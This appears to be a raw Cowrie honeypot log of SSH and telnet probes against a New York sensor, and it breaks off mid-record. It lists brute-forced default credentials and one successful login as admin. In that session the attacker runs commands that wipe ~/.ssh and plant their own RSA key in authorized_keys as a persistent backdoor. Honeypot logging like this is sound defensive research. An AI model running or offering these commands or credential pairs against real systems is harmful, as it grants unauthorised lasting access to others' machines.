{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:07.395795Z","src_ip":"4.213.160.153","session":"9f19b4d8ee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:07.401545Z","src_ip":"4.213.160.153","session":"bd72cb07d4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.883906841278076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:15.676603Z","src_ip":"50.6.3.16","session":"7abe7a76f8b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066362857818604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:23.078132Z","src_ip":"50.6.3.16","session":"a6881bce5ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c87bc27d8b1b","protocol":"telnet","message":"New connection: 50.6.3.16:38004 (10.17.0.5:23) [session: c87bc27d8b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:23.271786Z"}
{"eventid":"cowrie.session.closed","duration":31.114747047424316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:28.147489Z","src_ip":"50.6.3.16","session":"fd027b787fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78936266899109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:35.596915Z","src_ip":"50.6.3.16","session":"9288232862b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"65df78220a13","protocol":"telnet","message":"New connection: 50.6.3.16:41682 (10.17.0.5:23) [session: 65df78220a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:40.680768Z"}
{"eventid":"cowrie.session.closed","duration":30.63735580444336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:27:53.909028Z","src_ip":"50.6.3.16","session":"c87bc27d8b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":42830,"dst_ip":"159.203.135.109","dst_port":22,"session":"de081cc2351b","protocol":"ssh","message":"New connection: 4.213.160.153:42830 (159.203.135.109:22) [session: de081cc2351b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:00.088915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:00.099752Z","src_ip":"4.213.160.153","session":"de081cc2351b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:00.281260Z","src_ip":"4.213.160.153","session":"de081cc2351b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass1234","message":"login attempt [postgres/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:01.024101Z","src_ip":"4.213.160.153","session":"de081cc2351b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:02.211529Z","src_ip":"4.213.160.153","session":"de081cc2351b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6b42a82245","protocol":"telnet","message":"New connection: 50.6.3.16:39372 (10.17.0.5:23) [session: 7a6b42a82245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:05.059810Z"}
{"eventid":"cowrie.session.closed","duration":31.127369165420532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:11.807990Z","src_ip":"50.6.3.16","session":"65df78220a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e287c36280","protocol":"telnet","message":"New connection: 50.6.3.16:34968 (10.17.0.5:23) [session: d3e287c36280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:20.080263Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34972,"dst_ip":"10.17.0.5","dst_port":23,"session":"8736ec9843d2","protocol":"telnet","message":"New connection: 50.6.3.16:34972 (10.17.0.5:23) [session: 8736ec9843d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:23.622762Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55008,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd1f51c16fb","protocol":"telnet","message":"New connection: 50.6.3.16:55008 (10.17.0.5:23) [session: efd1f51c16fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:35.266547Z"}
{"eventid":"cowrie.session.closed","duration":31.08207631111145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:36.141751Z","src_ip":"50.6.3.16","session":"7a6b42a82245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316946029663086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:51.397024Z","src_ip":"50.6.3.16","session":"d3e287c36280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177348136901855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:54.800034Z","src_ip":"50.6.3.16","session":"8736ec9843d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":60800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d670752e505a","protocol":"telnet","message":"New connection: 50.6.3.16:60800 (10.17.0.5:23) [session: d670752e505a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:55.885232Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":46954,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82a8fce54ca","protocol":"ssh","message":"New connection: 4.213.160.153:46954 (159.203.135.109:22) [session: e82a8fce54ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:59.050789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:59.181060Z","src_ip":"4.213.160.153","session":"e82a8fce54ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:28:59.362371Z","src_ip":"4.213.160.153","session":"e82a8fce54ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:00.084480Z","src_ip":"4.213.160.153","session":"e82a8fce54ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:01.271144Z","src_ip":"4.213.160.153","session":"e82a8fce54ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.164936542510986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:06.431383Z","src_ip":"50.6.3.16","session":"efd1f51c16fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":56116,"dst_ip":"10.17.0.5","dst_port":23,"session":"056366e95203","protocol":"telnet","message":"New connection: 50.6.3.16:56116 (10.17.0.5:23) [session: 056366e95203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:10.915022Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"db13385993bf","protocol":"telnet","message":"New connection: 50.6.3.16:42158 (10.17.0.5:23) [session: db13385993bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:12.581122Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34724,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2c9c0d610d1","protocol":"telnet","message":"New connection: 50.6.3.16:34724 (10.17.0.5:23) [session: c2c9c0d610d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:26.170002Z"}
{"eventid":"cowrie.session.closed","duration":30.89396333694458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:26.779057Z","src_ip":"50.6.3.16","session":"d670752e505a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41706,"dst_ip":"10.17.0.5","dst_port":23,"session":"20466d0f8865","protocol":"telnet","message":"New connection: 50.6.3.16:41706 (10.17.0.5:23) [session: 20466d0f8865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:33.324558Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd2d31a9dab","protocol":"telnet","message":"New connection: 50.6.3.16:41718 (10.17.0.5:23) [session: 2bd2d31a9dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:35.385865Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2791de349ed3","protocol":"telnet","message":"New connection: 50.6.3.16:39460 (10.17.0.5:23) [session: 2791de349ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:39.245565Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"510f28177456","protocol":"telnet","message":"New connection: 50.6.3.16:39462 (10.17.0.5:23) [session: 510f28177456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:39.424858Z"}
{"eventid":"cowrie.session.closed","duration":31.081355571746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:41.996258Z","src_ip":"50.6.3.16","session":"056366e95203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"58d6e9581fe0","protocol":"telnet","message":"New connection: 50.6.3.16:39474 (10.17.0.5:23) [session: 58d6e9581fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:42.957458Z"}
{"eventid":"cowrie.session.closed","duration":31.512079000473022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:44.093110Z","src_ip":"50.6.3.16","session":"db13385993bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.64.40.185","src_port":55244,"dst_ip":"159.203.135.109","dst_port":23,"session":"d217ee84743a","protocol":"telnet","message":"New connection: 196.64.40.185:55244 (159.203.135.109:23) [session: d217ee84743a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:54.366991Z"}
{"eventid":"cowrie.session.closed","duration":30.752257347106934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:56.922164Z","src_ip":"50.6.3.16","session":"c2c9c0d610d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":37516,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eac29b33e14","protocol":"ssh","message":"New connection: 4.213.160.153:37516 (159.203.135.109:22) [session: 8eac29b33e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:58.012266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:58.017297Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:58.205291Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1!","message":"login attempt [admin/admin1!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:58.978017Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:59.387513Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:59.391485Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:59.395290Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:29:59.581637Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.005163Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.008831Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.202332Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.207510Z","src_ip":"4.213.160.153","session":"8eac29b33e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64232,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5d5706f01c","protocol":"ssh","message":"New connection: 87.251.64.176:64232 (10.17.0.5:22) [session: aa5d5706f01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.234121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:30:00.242135Z","src_ip":"87.251.64.176","session":"aa5d5706f01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes1